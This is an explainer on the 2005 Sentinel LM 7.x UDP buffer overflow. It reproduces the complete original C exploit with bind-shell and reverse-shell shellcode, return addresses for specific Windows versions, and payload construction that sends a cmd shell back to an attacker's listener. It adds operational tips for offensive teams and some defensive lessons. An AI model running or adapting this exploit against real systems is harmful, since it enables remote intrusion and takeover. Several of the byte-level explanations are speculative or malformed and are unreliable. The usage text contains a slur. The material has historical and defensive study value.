Sentinel LM 7.x UDP License Service Remote Buffer Overflow Explained

What this paper is

This paper details a remote buffer overflow vulnerability in the Sentinel License Manager (LM) version 7.x, specifically within its UDP-based license service. The vulnerability allows an attacker to remotely execute arbitrary code on a vulnerable system by sending a specially crafted UDP packet. The exploit provided aims to achieve this by overflowing a buffer on the server, leading to control of the program's execution flow.

Simple technical breakdown

The Sentinel LM service listens for license requests on UDP port 5093. This exploit targets a buffer handling mechanism within this service. When a sufficiently large UDP packet is sent, it overwrites the allocated buffer on the stack. This overwrite can corrupt critical data, including the return address, which points to where the program should continue execution after a function finishes. By carefully crafting the overflowing data, an attacker can replace this return address with a pointer to malicious code (shellcode) that they've also injected into the packet. When the vulnerable function attempts to return, it will instead jump to the attacker's shellcode, granting them control.

The exploit notes mention that the overflow occurs around 3900 bytes, but the service processes the first 1035 bytes repeatedly until the stack is overwritten. This means the attacker needs to precisely calculate the offset to ensure the injected shellcode is executed. The exploit also includes a "popopret" technique, which is a way to find a suitable return address within already loaded modules, avoiding the need to inject shellcode that relies on specific memory locations that might change.

Complete code and payload walkthrough

The provided C code implements the exploit for Windows and Linux systems. It defines two main shellcode payloads (scode1 and scode2) and various padding and target-specific addresses.

Code Structure and Functions:

• Includes: Standard headers for networking (stdio.h, string.h, winsock2.h on Windows, and various socket headers on Linux) and memory manipulation.
• scode1: This is the primary shellcode. It appears to be a Windows-specific shellcode designed to establish a connection back to the attacker. The exact functionality is obfuscated by the byte sequence, but it's common for such shellcode to include logic for socket creation, connection, and command execution.
• scode2: This is a modified version of "vlad902's reverse shellcode from metasploit.com." The author notes it's not XORed and has been modified to remove the "badchar" \x20 (space). This shellcode is also designed for reverse shell functionality, meaning it will connect back to a listener on the attacker's machine.
• payload: A character array that will hold the complete exploit packet, including padding, shellcode, and exploit-specific data.
• sip, spo: Character arrays used to store IP and port information for reverse shell connections.
• pad, pad2: Padding bytes used to fill gaps in the payload. pad (\xEB\x08\x90\x90) is a short jump followed by nops, and pad2 (\xE9\xC2\xFC\xFF\xFF) is a relative jump.
• ebx2k, ebxp, ebxsp2k3: These are crucial. They represent different "popopret" addresses, which are addresses of pop ebx; ret instructions within specific modules. These are used to set up the stack for the shellcode to execute, depending on the target Windows Service Pack.
  • ebx2k: Likely for Windows 2000.
  • ebxp: For Windows XP SP0, SP1, SP1a.
  • ebxsp2k3: For Windows XP SP2 and Windows 2003.
• fix, fix2: These appear to be specific byte sequences inserted into the payload, possibly to trigger specific behaviors or align data within the vulnerable service.
• ver(): A function to print version information about the exploit.
• usage(char* us): A function to display how to use the exploit, including target options and command-line arguments.
• main(int argc, char *argv[]): The core function of the exploit.
  • Argument Parsing: It checks the number of arguments (argc) and their values to determine the target OS, vulnerable IP, vulnerable port, and optionally, the attacker's IP and port for a reverse shell.
  • Socket Initialization: It initializes Winsock on Windows or sets up standard socket structures on Linux.
  • IP/Port Handling (Reverse Shell): If a reverse shell is specified (argc == 6), it takes the attacker's IP and port, XORs them with 0x00000000 and 0x0000 respectively, and stores them in sip and spo. It then checks for null bytes in the provided IP and port, which could cause issues.
  • Target Selection: Based on the first argument (argv[1]), it selects the appropriate target OS string (os) and the corresponding ebx address (target).
  • Payload Construction:
    • It initializes the payload buffer with NOPs (\x90).
    • It copies the selected target (the popopret address) and padding (pad, pad2) into specific offsets within the payload. The offsets (e.g., 836, 832, 845) are critical and determined by the buffer overflow analysis.
    • It copies fix and fix2 into the payload.
    • Shellcode Insertion:
      • If a reverse shell is configured (argc == 6), it copies parts of scode2 into the payload at offset 33. It also modifies scode2 at specific offsets (167 and 173) to embed the attacker's IP and port.
      • If not a reverse shell, it copies scode1 into the payload at offset 33.
  • Sending the Exploit:
    • It creates a UDP socket.
    • It sets up the server address structure with the target IP and port.
    • It sends the constructed payload twice using sendto. Sending twice is a tradecraft note mentioned in the paper to increase reliability.
  • Waiting for Response/Failure:
    • It uses select to wait for a short period (10 seconds) for a response on the UDP socket.
    • If select returns a value (meaning data was received), it indicates an error, likely the server rebooted due to the crash.
    • If select times out (no data received), it assumes the exploit was successful and prints a success message.
  • Cleanup: Closes the socket.

Shellcode/Payload Segments:

• scode1 (Windows Shellcode):

  • Purpose: Likely to establish a remote shell connection.
  • Details: The byte sequence is complex and obfuscated. It would typically involve:
    • Resolving API functions (e.g., CreateProcess, WSASocket, connect, bind, listen, accept, send, recv).
    • Setting up a socket.
    • Connecting back to the attacker's IP and port.
    • Executing a command shell (cmd.exe).
    • Redirecting standard input, output, and error streams to the socket.

• scode2 (Modified Reverse Shellcode):

  • Purpose: To establish a reverse TCP connection to the attacker and provide a command shell.
  • Details:
    • \xFC\x6A\xEB\x52: Likely part of the initial setup and jump adjustments.
    • \xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05\x78\x01\xEF: Standard shellcode prologue, setting up stack frame and accessing arguments.
    • \x83\xC7\x01: Increments a register (likely edi), possibly for buffer manipulation.
    • \x8B\x4F\x17, \x8B\x5F\x1B, \x8B\x5F\x23: These instructions modify registers (ecx, ebx) to point to relevant data structures or API parameters. The modifications mentioned in the comments ("\x20" out) indicate that specific bytes were removed or altered to avoid null bytes or other problematic characters.
    • \x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3: This block likely performs string operations or data manipulation, possibly to construct network addresses or commands. The AC (LODSB) and EB F4 (loop back) suggest character-by-character processing.
    • \x66\x8B\x0C\x4B: Loads a word into cx from memory.
    • \x03\x2C\x8B\x89\x6C\x24\x1C\x61\xC3: Stack manipulation and function return.
    • \x31\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E\xEC\x50\xFF\xD6: This section is typical for shellcode that needs to find and call Windows API functions dynamically. It likely iterates through the PEB (Process Environment Block) and loaded modules to locate function addresses (e.g., LoadLibrary, GetProcAddress).
    • \x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5F\x54\xFF\xD0: This part likely calls LoadLibrary("ws2_32") to load the Winsock library.
    • \x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66\x81\xED\x08\x02\x55\x6A\x02\xFF\xD0: This block likely calls WSASocket to create a socket.
    • \x68\xD9\x09\xF5\xAD\x57\xFF\xD6\x53\x53\x53\x53\x43\x53\x43\x53\xFF\xD0: This section probably calls connect to establish the connection to the attacker's IP and port. The IP and port are embedded earlier in the shellcode.
    • \x68\x00\x00\x00\x00\x66\x68\x00\x00\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF\xD0: This part likely sets up the standard input, output, and error handles for the shell process.
    • \x6A\x10\x51\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50\x59\x29\xCC\x89\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD\xFE\x42\x2D\xFE\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3\x16\xFF\x75\x28\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37\xFF\xD0\x68\xE7\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0: This is the final part, likely executing CreateProcess to launch cmd.exe and redirecting its I/O to the socket.

• pad (\xEB\x08\x90\x90): A short jump (\xEB) followed by 8 bytes (\x08 is the displacement for jmp short) and then two NOPs (\x90). This is a common technique to create a small jump to a section of NOPs, which can be useful for aligning shellcode or providing a small buffer.

• pad2 (\xE9\xC2\xFC\xFF\xFF): A near jump (\xE9) with a relative offset. This is a longer jump that can span larger distances, used here to reach the shellcode.

• fix (\x76\x6C\x6D\x73) and fix2 (\x72\x76\x72\x2E): These byte sequences are inserted into the payload. Their exact purpose is not explicitly stated but they might be used to:

  • Trigger specific parsing logic in the vulnerable service.
  • Align data structures on the stack.
  • Avoid detection by simple signature-based IDS.
  • Influence the stack layout to ensure the overflow hits the correct return address.

• ebx2k, ebxp, ebxsp2k3 (Popopret Addresses): These are critical for the exploit's success. They point to pop ebx; ret instructions within loaded modules.

  • Purpose: When the vulnerable function returns, instead of returning to its legitimate caller, it jumps to the address provided by the attacker. If this address is a pop ebx; ret instruction, the ebx register is loaded with the value immediately following the ret instruction in the attacker's buffer (which is the start of their shellcode). The ret then pops the next address from the stack, which the attacker has also carefully crafted to point to their shellcode. This sequence effectively redirects execution to the shellcode.
  • Mapping:
    • ebx2k -> 0x7801B008 (Windows 2000)
    • ebxp -> 0x71AB E325 (Windows XP SP0, SP1, SP1a)
    • ebxsp2k3 -> 0x7FFA1B E1 (Windows XP SP2, Windows 2003)

Payload Construction Logic:

The main function meticulously constructs the payload buffer.

1. NOP Sled: memset(payload, 0x90, 1100); fills the initial part of the payload with NOPs. This increases the chance of hitting the shellcode even if the exact landing address isn't perfect.
2. Target-Specific Overwrite:
   • For target 4 (Win2k3), memcpy(payload+836, target, 4); and memcpy(payload+832, pad, 4); place the popopret address and padding.
   • For other targets, memcpy(payload+840, target, 4); and memcpy(payload+836, pad, 4); are used. The offsets differ slightly.
3. pad2 Placement: memcpy(payload+845, pad2, 5); or memcpy(payload+849, pad2, 5); places the jump instruction to the shellcode.
4. fix and fix2 Insertion: memcpy(payload+12, fix, 4); and memcpy(payload+16, fix2, 4); insert these specific byte sequences.
5. Shellcode Insertion: memcpy(payload+33, scode1, strlen(scode1)); or memcpy(payload+33, scode2, strlen(scode2)); places the chosen shellcode at offset 33.
6. Reverse Shell IP/Port Embedding: If argc == 6, memcpy(&scode2[167], &gip, 4); and memcpy(&scode2[173], &gport, 2); modify the scode2 bytes directly to embed the attacker's IP and port.

Sending and Verification:

• The exploit sends the payload twice via UDP to the target port.
• It then waits using select for a response. A response typically means the service crashed and rebooted, indicating the exploit likely succeeded. No response within the timeout suggests the exploit might have failed or the service is still running.

Practical details for offensive operations teams

• Required Access Level: Network access to the target system is required. No local privileges are needed as this is a remote exploit.
• Lab Preconditions:
  • A vulnerable Sentinel LM 7.x installation is needed for testing. This can be set up in a virtual machine.
  • The target system must be reachable via UDP on port 5093.
  • Firewalls should not be blocking UDP traffic on port 5093.
  • For reverse shell testing, the attacker's machine must be reachable from the target system on the specified listener port.
• Tooling Assumptions:
  • The exploit is provided as C source code. It needs to be compiled.
    • Windows: MSVC (Visual Studio) or Cygwin.
    • Linux: GCC or a similar C compiler.
  • A network listener (e.g., netcat, socat, or a custom script) is required on the attacker's machine to receive the reverse shell.
  • A tool to analyze network traffic (e.g., Wireshark) can be helpful for debugging.
• Execution Pitfalls:
  • Target OS/SP Mismatch: Using the wrong popopret address (target variable) for the target OS and Service Pack will cause the exploit to fail, likely resulting in a crash without a shell. The paper explicitly states some targets are more stable than others.
  • Null Bytes: While scode2 was modified to remove the \x20 bad character, other null bytes might exist in the shellcode or the constructed payload that could prematurely terminate UDP packet transmission or be rejected by the network stack. The IP/Port XORing and checks in the code attempt to mitigate this for the reverse shell.
  • UDP Reliability: UDP is an unreliable protocol. Packets can be lost, duplicated, or arrive out of order. Sending the payload twice is a mitigation strategy. Network congestion or packet filtering could also cause the exploit packet to be dropped.
  • Service Restart: The exploit relies on the service crashing and potentially restarting. If the service is configured to not restart or if the crash is handled gracefully, the exploit might not yield a shell.
  • Firewall/IDS: Network-based Intrusion Detection Systems (IDS) might detect the unusual UDP packet size or content. Firewalls could block the UDP traffic on port 5093.
  • Buffer Size Calculation: The exact overflow point (around 3900 bytes) and the processing of the first 1035 bytes mean that precise calculation of the buffer structure is critical. Incorrect offsets for the popopret address or shellcode can lead to execution failures.
  • "Bind Mode" vs. "Reverse Mode":
    • Bind Mode (no GayIP GayPORT): The exploit attempts to bind a shell to a local port on the victim. The attacker then connects to this port on the victim. This is less common for remote exploits as it requires the attacker to know the victim's IP and the port the shell is bound to, and it might be blocked by firewalls. The paper suggests telnet victimIP:101 for this mode.
    • Reverse Mode (GayIP GayPORT): The victim connects back to the attacker's listener. This is generally more reliable as outbound connections are often less restricted than inbound ones.
• Telemetry:
  • Network: High volume of UDP traffic to port 5093 on the target. If successful, a TCP connection from the target to the attacker's listener IP/port (for reverse shell).
  • System: The Sentinel LM service process might crash and restart. Event logs might show service termination or application errors. If a shell is obtained, subsequent commands executed via the shell will be visible.

Where this was used and when

• Published: March 13, 2005.
• Discovery: March 7, 2005 (by Dennis Rand of CIRT.DK).
• Exploit Release: March 9, 2005 (by "hat-squad").
• Context: This exploit targets older versions of Windows (Win2k, XP, 2003) and a specific version of Sentinel LM (7.x). It was relevant in the mid-2000s. While specific documented widespread attacks are not detailed in the paper, vulnerabilities of this nature were commonly exploited in targeted attacks against organizations using specific software. The fact that it was released on public exploit sites like milw0rm.com and metasploit.com indicates it was available for use by security professionals and potentially malicious actors.

Defensive lessons for modern teams

• Patch Management: The most critical lesson is the importance of timely patching. Sentinel LM 8.0 was released to fix this vulnerability. Organizations must have robust patch management processes for all software, especially network-facing services.
• Network Segmentation: Limiting network exposure of critical services is vital. If the Sentinel LM service was only accessible on an internal network segment, the attack surface would be significantly reduced.
• Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS systems can detect anomalous UDP traffic patterns, large packet sizes, or known exploit signatures. While this exploit is old, the principle of monitoring network traffic for suspicious activity remains relevant.
• Least Privilege: Running services with the minimum necessary privileges can limit the impact of a successful exploit. If the Sentinel LM service was compromised, but running as a low-privileged user, the attacker would have less ability to cause widespread damage.
• Service Hardening: Disabling unnecessary services or ports, and configuring services securely, reduces the attack surface.
• Vulnerability Scanning: Regular vulnerability scanning of the network infrastructure can identify unpatched or vulnerable software before it can be exploited.
• Application Security Testing: Developers should employ secure coding practices and conduct thorough security testing (including fuzzing) to identify buffer overflow vulnerabilities early in the development lifecycle.

ASCII visual (if applicable)

This exploit involves a client sending a UDP packet to a server. The server processes the packet, leading to a stack overflow and execution of shellcode.

+-----------------+       +-----------------------------------------+
| Attacker Client | ----> | Sentinel LM Service (UDP Port 5093)     |
+-----------------+       +-----------------------------------------+
                           |                                         |
                           |  1. Receives large UDP packet.          |
                           |  2. Copies data into a buffer.          |
                           |  3. Buffer overflow occurs.             |
                           |  4. Return address on stack is overwritten|
                           |     with attacker's shellcode address.  |
                           |  5. Function returns, jumps to shellcode.|
                           |  6. Shellcode executes.                 |
                           +-----------------------------------------+
                                     |
                                     | (Shell established, e.g., TCP)
                                     v
                           +-----------------+
                           | Attacker Shell  |
                           +-----------------+

Source references

• Paper ID: 875
• Paper Title: Sentinel LM 7.x - UDP License Service Remote Buffer Overflow
• Author: class101
• Published: 2005-03-13
• Keywords: Windows, remote
• Paper URL: https://www.exploit-db.com/papers/875
• Raw URL: https://www.exploit-db.com/raw/875
• Related Advisory: securitytracker.com/alerts/2005/Mar/1013385.html

Original Exploit-DB Content (Verbatim)

/*
SentinelLM, UDP License Service Stack Overflow

Homepage:         safenet-inc.com
Affected version: 7.*
Patched  version: 8.0
Link:             safenet-inc.com/products/sentinel/lm.asp
Date:             09 March 2005
Advisory:         securitytracker.com/alerts/2005/Mar/1013385.html

Application Risk: High
Internet Risk:    Medium (UDP)

Dicovery Credits: Dennis Rand (CIRT.DK)
Exploit Credits : class101

Hole History:

		              07-3-2005: BOF flaw published by Dennis Rand of CIRT.DK
		              09-3-2005: hat-squad's exploit done
		              13-3-2005: hat-squad's exploit released

Notes:

    -the exploit targets 5093/UDP 
		-no bad chars detected
		-Unlike it is said in the CIRT.DK advisory, you shouldn't submit 3000bytes of data, but indeed, the overflow is occuring at around
		  3900 bytes. SentinelLM will proceed the first 1035bytes of your buffer and will repeat those until the override of the stack.
		  Conclusion , you have to be good with maths (nor to control our friend olly & calc :>) to overwrite the right place in your buffer[1035] 
		  to finally reach eip when your buffer "autogrows" at around buffer[3940].
		-sending the buffer twice because the 1st attempt can fail sometimes.
        -using a nice popopret outside of a loaded module for SP2and2k3 targets.
		  this offset has been tested on SP2 and 2003 ENGLISH (maybe langage-dependent dunno..)
		-to note so that target3 (SP2/2k3) can work sometimes as target2 (SP1a/1/0) but it is not stable this is why I use
		  one of the two I have posted at fulldisclosure (0x71ABE325/SP1a/1/0). This last is stable for the 3 sp (ENGLISH!).
	
Compilation:

                  101_SentLM.cpp ......... Win32 (MSVC,cygwin)
                  101_SentLM.c ........... Linux (FreeBSD,etc..)


	*Another fine working code, published as a patch warning or for an EXPERIMENTAL use!* 


Greet:

	         *GUILLERMITO* "the terrorist...sigh..:("


		              NIMA MAJIDI
		              BEHRANG FOULADI
		              PEJMAN
		              HAMID
		              HAT-SQUAD.COM
		              metasploit.com
		              A^C^E of addict3d.org
		              str0ke of milw0rm.com
		              and my homy CLASS101.ORG :>

*/

#include <stdio.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif

char scode1[]=
"\x33\xC9\x83\xE9"
"\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB"
"\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95"
"\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1"
"\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B"
"\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E"
"\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76"
"\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A"
"\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64"
"\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58"
"\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C"
"\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95"
"\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F"
"\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B"
"\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02"
"\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D"
"\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07"
"\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99"
"\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18"
"\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B"
"\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95"
"\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02"
"\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A";


char scode2[]=
/*original vlad902's reverse shellcode from metasploit.com
  NOT xored, modded by class101 for ca's xpl0it to remove the common badchar "\x20"
  original bytes + modded = 291 + 3 = 294 bytes reverse shellcode v1.31*/
"\xFC\x6A\xEB\x52" /*modded adjusting jump*/
"\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05"
"\x78\x01\xEF"
"\x83\xC7\x01" /*modded, adding 1 to edi*/
"\x8B\x4F\x17" /*modded, adjusting ecx*/
"\x8B\x5F\x1F" /*modded, adjusting ebx, "\x20" out, yeahouu ;>*/
"\x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0"
"\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3"
"\x8B\x5F\x23" /*modded, adjusting ebx*/
"\x01\xEB\x66\x8B\x0C\x4B"
"\x8B\x5F\x1B" /*modded, adjusting ebx*/
"\x01\xEB\x03\x2C\x8B\x89\x6C\x24\x1C\x61\xC3\x31\xC0\x64\x8B\x40"
"\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E"
"\xEC\x50\xFF\xD6\x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32"
"\x5F\x54\xFF\xD0\x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66"
"\x81\xED\x08\x02\x55\x6A\x02\xFF\xD0\x68\xD9\x09\xF5\xAD\x57\xFF"
"\xD6\x53\x53\x53\x53\x43\x53\x43\x53\xFF\xD0\x68\x00\x00\x00\x00"
"\x66\x68\x00\x00\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF"
"\xD6\x6A\x10\x51\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50"
"\x59\x29\xCC\x89\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD"
"\xFE\x42\x2D\xFE\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3"
"\x16\xFF\x75\x28\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51"
"\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37"
"\xFF\xD0\x68\xE7\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF"
"\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0";

char payload[1100];
char sip[3];char spo[1];

char pad[]="\xEB\x08\x90\x90";
char pad2[]="\xE9\xC2\xFC\xFF\xFF";
char ebx2k[]="\x08\xB0\x01\x78";
char ebxp[]="\x25\xE3\xAB\x71";  /*popopret inside of a loaded module for SP0-1-1a*/
char ebxsp2k3[]="\xE1\x1B\xFA\x7F"; /*popopret outside of a loaded module for SP2 and 2003*/
/*some tests*/
char fix[]="\x76\x6C\x6D\x73";
char fix2[]="\x72\x76\x72\x2E";

#ifdef WIN32
	WSADATA wsadata;
#endif

void ver();
void usage(char* us);

int main(int argc,char *argv[])
{
	ver();
	int co, sw=0, check1, check2;
	unsigned long gip;
	unsigned short gport;
	char *target, *os;
	if (argc>6||argc<3||atoi(argv[1])>4||atoi(argv[1])<1){usage(argv[0]);return -1;}
	if (argc==5){usage(argv[0]);return -1;}
    if (strlen(argv[2])<7){usage(argv[0]);return -1;}
    if (argc==6)
	{
        if (strlen(argv[4])<7){usage(argv[0]);return -1;}
	}
#ifndef WIN32
	if (argc==6)
	{
 		gip=inet_addr(argv[4])^(long)0x00000000;
		gport=htons(atoi(argv[5]))^(short)0x0000;
		memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
		check1=strlen(&sip[0]);check2=strlen(&spo[0]);
		if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
			printf("[+] error, the IP has a null byte in hex...\n");return -1;}
		if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
	}
#define Sleep		sleep
#define SOCKET		int
#define closesocket(s) close(s)
#else
	if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;}
	if (argc==6)
	{
		gip=inet_addr(argv[4])^(ULONG)0x00000000;
		gport=htons(atoi(argv[5]))^(USHORT)0x0000;
		memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
		check1=strlen(&sip[0]);check2=strlen(&spo[0]);
		if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
			printf("[+] error, the IP has a null byte in hex...\n");return -1;}
		if (check2 != 2){printf("[+] error, the PORT has a null byte in hex...\n");return -1;}
	}
#endif
	int ip=htonl(inet_addr(argv[2])), port;
	if (argc==4||argc==6){port=atoi(argv[3]);} else port=5093;
	SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
	s=socket(AF_INET,SOCK_DGRAM,0);
	if (s==-1){printf("[+] socket() error\n");return -1;}	
	if (atoi(argv[1]) == 1){target=ebx2k;os="Win2k SP4 Server English\n[+]            Win2k SP4 Pro    English";}
	if (atoi(argv[1]) == 2){target=ebxp;os="WinXP SP0  Pro    English\n[+]            WinXP SP1  Pro    English\n[+]            WinXP SP1a Pro    English";}
	if (atoi(argv[1]) == 3){target=ebxsp2k3;os="WinXP SP2  Pro    English";}
	if (atoi(argv[1]) == 4){target=ebxsp2k3;os="Win2003 SP0 Server English";}
	server.sin_family=AF_INET;
	server.sin_addr.s_addr=htonl(ip);
	server.sin_port=htons(port);
	memset(payload,0x90,1100);
	if (atoi(argv[1]) == 4)
	{
		memcpy(payload+836,target,4);
		memcpy(payload+832,pad,4);
		memcpy(payload+845,pad2,5);
	}
	else
	{	
		memcpy(payload+840,target,4);
		memcpy(payload+836,pad,4);
		memcpy(payload+849,pad2,5);
	}
	memcpy(payload+12,fix,4);
	memcpy(payload+16,fix2,4);
	if (argc==6)
	{
		memcpy(&scode2[167], &gip, 4);
		memcpy(&scode2[173], &gport, 2);
		memcpy(payload+33,scode2,strlen(scode2));
	}
	else memcpy(payload+33,scode1,strlen(scode1));
	printf("[+] target(s): %s\n",os);
	printf("[+] sending datas to the udp port...\n");
	co = sendto(s,payload,sizeof(payload),0,(struct sockaddr *)&server,sizeof(server));
#ifdef WIN32
			Sleep(1000);
#else
			Sleep(1);
#endif
	co = sendto(s,payload,sizeof(payload),0,(struct sockaddr *)&server,sizeof(server));
#ifdef WIN32
			Sleep(1000);
#else
			Sleep(1);
#endif
	timeout.tv_sec=10;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
	sw = select((s+1),&mask,NULL,NULL,&timeout);
	if(sw)
	{
		printf("[+] sending error, the server prolly rebooted.\n");
		closesocket(s);
		return -1;
	}
	else
	{
		printf("[+] size of payload: %d\n",strlen(payload));			
		if (argc==6){printf("[+] payload sent, look at your listener, you should get a shell\n");}
		else printf("[+] payload sent, use telnet victimIP:101 to get a shell\n");
		closesocket(s);
		return 0;
	}
	return 0;
}


void usage(char* us) 
{  
  printf("                                                                                \n");
	printf("      [+]  . 101_SentLM.exe Target VulnIP (bind mode)                           \n");
	printf("      [+]  . 101_SentLM.exe Target VulnIP VulnPORT (bind mode)                  \n");
	printf("      [+]  . 101_SentLM.exe Target VulnIP VulnPORT GayIP GayPORT (reverse mode) \n");
	printf("TARGETS:                                                                        \n");
	printf("      [+] 1. Win2k  SP4  Server English (*) - v5.0.2195                         \n");
	printf("      [+] 1. Win2k  SP4  Pro    English (*) - v5.0.2195                         \n");
	printf("      [+] 2. WinXP  SP0  Pro.   English (*) - v5.1.2600                         \n");
	printf("      [+] 2. WinXP  SP1  Pro.   English (*) - v5.1.2600                         \n");
	printf("      [+] 2. WinXP  SP1a Pro.   English (*) - v5.1.2600                         \n");
	printf("      [+] 3. WinXP  SP2  Pro.   English (*) - v5.1.2600.2180                    \n");
	printf("      [+] 4. Win2k3 SP0  Server English (*) - v5.2.3790                         \n");
	printf("NOTE:                                                                           \n");
	printf("      The exploit bind a cmdshell port 101 or                                   \n");
	printf("      reverse a cmdshell on your listener.                                      \n");
	printf("      A wildcard (*) mean tested working, else, supposed working.               \n");
	printf("      A symbol   (-) mean all.                                                  \n");
	printf("      Compilation msvc6, cygwin, Linux.                                         \n");
	printf("                                                                                \n");
	return;
} 
void ver()
{	
	printf("                                                                     \n");
	printf("        ===================================================[v0.1]====\n");
	printf("        =====================SafeNet Sentinel LM=====================\n"); 
	printf("        ===============Remote Buffer Overflow Exploit================\n");
	printf("        ======coded by class101=============[Hat-Squad.com]==========\n");
	printf("        =====================================[class101.org]==========\n");
	printf("                                                                     \n");
}

// milw0rm.com [2005-03-13]